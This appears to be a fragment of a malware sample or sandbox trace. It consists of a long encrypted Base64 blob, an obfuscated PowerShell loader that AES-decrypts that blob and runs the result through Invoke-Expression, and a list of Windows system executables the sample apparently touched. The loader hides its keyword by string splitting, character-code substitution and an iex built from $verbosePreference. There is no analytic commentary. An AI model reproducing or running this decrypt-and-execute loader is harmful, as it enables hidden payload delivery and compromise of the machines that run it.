2LV6G1qctY5iGj1puWd+7Oa1A9Jx8sKWBfK7ssUEzfA5tRfwJs+Yig4neb6zjDL+RrpEHNFlkE8+TDOUhcNUOaaxmdagb669MaY6AUHuBGbW4T3clqQY3KqMWiWxvWFBjhAXh4oSmZFSY/+TaEY+Bjm7AbSBTspTWmyfY2HbT2L5cOwDGAAmIx3UR2NUByK70uEAvM2Yz5ioHv8hB18Qc2MMkbxqSrhFr41oRCPhdCx89cUfnKhXUDDd2TkPICClvjRXaMqZ9/NY0GbTYZhUyGeiljzB9o333Pd4tXJeCeAXf7pdSIB5lulheY+jHzCGimEp3VVl2AkjOwPbeoJhwjAUV22t+K1mLSHCLkb+kxdZ8PTVzqfErU5M/wAcukzKiEIWL67nmNrbrCQr0n4yiBww55JzH6QlqH4bo8R3wkrh+6GeX2DuozRIcrO+EJkFIyPGqzNOLbPmOMp2ywAQFZmKLtSNxMb1p4gtH1hzuGDw855hxFyyAs5y4m0NtXFrTGbDRUXgJ0rYRgPSAr/DFlNfYC4xRFI4A4HllUDOPIr2vsL8x87drooa8oqLFJuRFU8yqTyYdo3WNhu0QjHhbWlwKo+VZRctR1fsH+/yM/e99xk2kRcHOemzLzjSfiD4PKV4nvV6jwTReR+4NtyQtYW+KGUdbNqX7Wd4A==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe